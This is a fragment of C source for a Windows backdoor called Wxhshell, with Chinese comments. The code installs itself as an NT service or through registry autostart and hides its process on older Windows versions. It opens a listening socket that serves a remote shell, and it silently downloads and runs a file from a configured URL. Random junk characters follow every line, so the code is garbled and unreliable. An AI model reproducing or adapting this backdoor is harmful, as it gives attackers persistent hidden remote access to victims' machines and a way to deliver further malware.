} PROCESS_BASIC_INFORMATION; 5?vIkf
j#p3c
PROCNTQSIP NtQueryInformationProcess; &P{%C5?{
nj9hRiLn
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; {{DW P-v4
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; oW+R:2I~O
Vr0RdO
HANDLE hProcess; V
u!,tpa.
PROCESS_BASIC_INFORMATION pbi; -=qmYf
/r?X33D!
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); "iydXV=Q
if(NULL == hInst ) return 0; /V*eAn8>
tIvtiN6[|l
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 7PvuKAv?k
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); G![1+2p:Tq
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); yi%B5KF~Al
7xd}J(l
if (!NtQueryInformationProcess) return 0; p{U8z\
PHOW,8)dZh
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); WMC6dD_6e
if(!hProcess) return 0; 4v?S`w:6
{l1;&y?
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; hmi15VW
x-W0 h
CloseHandle(hProcess); C'$U1%:
j
CRf^6k_;(
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); {M$8V~8D
if(hProcess==NULL) return 0; %q!nTGU~
@rdC/=Y[
HMODULE hMod; A6Qi^TI
char procName[255]; lk'RWy"pw
unsigned long cbNeeded; $H9xM
C/$IF M<
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); L@ay4,e.bz
>pYgF=J
CloseHandle(hProcess); /za,&7sf
BdYh:
if(strstr(procName,"services")) return 1; // 以服务启动 4q~E\l|.5
&Y&zUfA
return 0; // 注册表启动 r9U1 O@c
} 9PBmBP~
5u8Sxfm",
// 主模块 }qg!Um0
int StartWxhshell(LPSTR lpCmdLine) Tld{b
{ > w'6ZDA*X
SOCKET wsl; R's xa*VB
BOOL val=TRUE; LSs={RD2+p
int port=0; Owr`ip\
struct sockaddr_in door; G@;aqe[dB
p[$I{F*a
if(wscfg.ws_autoins) Install(); {J]|mxo
8,=$>@u
port=atoi(lpCmdLine); (*1A0+S90
^q6~xC,/
if(port<=0) port=wscfg.ws_port; $OO[C={v[
-/</7I
WSADATA data; }0TY
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; (/M c$V
6 qq7:
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; Em7q@
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val));
96BMJE'
door.sin_family = AF_INET; G1l(
door.sin_addr.s_addr = inet_addr("127.0.0.1"); GB=q}@&8p
door.sin_port = htons(port); e'`oisJU?q
N4:'X6u;
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { QJ/SP
closesocket(wsl); #.@=xhK/
return 1; o6r4tpiR5
} dd$N4&
x6t;=
if(listen(wsl,2) == INVALID_SOCKET) { |^F-.Z
closesocket(wsl); eZ!k'bS=
return 1; Vo%d;>!G\;
} $o/>wgQY-
Wxhshell(wsl); @2mP
WSACleanup(); 9ZBF1sMg
[a3
0iE
return 0; (Ka#6
CytpL`&^]
} pR"qPSv'
-db+Y:xUZ
// 以NT服务方式启动 ]Q3Gj@6
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 8VZ-`?p
{
zCHr
DWORD status = 0; x3Ud0[(
DWORD specificError = 0xfffffff; xeI{i{8
"YL-!P
serviceStatus.dwServiceType = SERVICE_WIN32; :3B\,inJ
serviceStatus.dwCurrentState = SERVICE_START_PENDING; $c}0L0
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; }$-VI\96
serviceStatus.dwWin32ExitCode = 0; MjpJAV/84
serviceStatus.dwServiceSpecificExitCode = 0; Ps7%:|K]
serviceStatus.dwCheckPoint = 0; =CoT{LRQ_
serviceStatus.dwWaitHint = 0; 'm|m+K83
HhL%iy1
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 0U>Q<I}
if (hServiceStatusHandle==0) return; V%ch'
=lwS\mNs
status = GetLastError(); K +~v<F
if (status!=NO_ERROR) k3 l
{ f[IchCwX
serviceStatus.dwCurrentState = SERVICE_STOPPED; sD8S2
serviceStatus.dwCheckPoint = 0; guv@t&;t0
serviceStatus.dwWaitHint = 0; 0R&
U18)y
serviceStatus.dwWin32ExitCode = status; Z=0W@_s
serviceStatus.dwServiceSpecificExitCode = specificError; =FmU]DV
SetServiceStatus(hServiceStatusHandle, &serviceStatus); x/=j$oA
return; j;)6uia*A
} qedGBl&
MbfzGYA2~
serviceStatus.dwCurrentState = SERVICE_RUNNING; $T6Qg(p
serviceStatus.dwCheckPoint = 0;
qR qy
serviceStatus.dwWaitHint = 0; yjd'{B9{
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); `dP+5u!
} *K|aK p}
A ? M]5d
// 处理NT服务事件,比如:启动、停止 tWnm{mF
VOID WINAPI NTServiceHandler(DWORD fdwControl) ~8*oGG~s
{ YJ$ewK4E#.
switch(fdwControl) B5:g{,C
{ F-^HN%
case SERVICE_CONTROL_STOP: `VtwKt*
serviceStatus.dwWin32ExitCode = 0; <+gl"lG
serviceStatus.dwCurrentState = SERVICE_STOPPED; ` a>vPW
serviceStatus.dwCheckPoint = 0; v=tj.Vg
serviceStatus.dwWaitHint = 0; ozC!q)j
{ a[n$qPm}
SetServiceStatus(hServiceStatusHandle, &serviceStatus); `?JgHk
} ~7pjk
return; kA__*b}8UK
case SERVICE_CONTROL_PAUSE: 7X(]r1-+\
serviceStatus.dwCurrentState = SERVICE_PAUSED; :OCuxSc%5
break; U*Qq5=dqD
case SERVICE_CONTROL_CONTINUE: 'c&@~O;^d
serviceStatus.dwCurrentState = SERVICE_RUNNING; [+g@@\X4
break; #OWs3$9
case SERVICE_CONTROL_INTERROGATE: A[kH_{to;
break; 1>w^ q`P
}; = O1;vc}AA
SetServiceStatus(hServiceStatusHandle, &serviceStatus); %i8>w:@NW
} N@6OQ:,[F
Z=@)
// 标准应用程序主函数 6
]Oxx{|}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 0j(jJAE.
{ B#"|5
WuFwt\U
// 获取操作系统版本 S2E HmE&
OsIsNt=GetOsVer(); PuCDsojclh
GetModuleFileName(NULL,ExeFile,MAX_PATH);
4|N\Q=,
o^Yspp
// 从命令行安装 vQ"s
if(strpbrk(lpCmdLine,"iI")) Install(); `8;,&<U'`
hF"g91P
// 下载执行文件 QO{=Wi-
if(wscfg.ws_downexe) { TE%#$q
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ttaQlEa=Z
WinExec(wscfg.ws_filenam,SW_HIDE); Q)`gPX3F
} uxyTu2L7
H'{?aaK|t
if(!OsIsNt) { drKjLo[y
// 如果时win9x,隐藏进程并且设置为注册表启动 ,|X+/|gm
HideProc(); 3g[j%`k
StartWxhshell(lpCmdLine); p*`SGX
} l (,;wAH
else (\t_Hs::a
if(StartFromService()) rLh9`0|D
// 以服务方式启动 2l@"p!ar=
StartServiceCtrlDispatcher(DispatchTable); =HY1l}\
else @f{_=~+
// 普通方式启动 8ts+'65|F
StartWxhshell(lpCmdLine); vA"niO
RP,:[}mPl
return 0; H [Lt%:r
}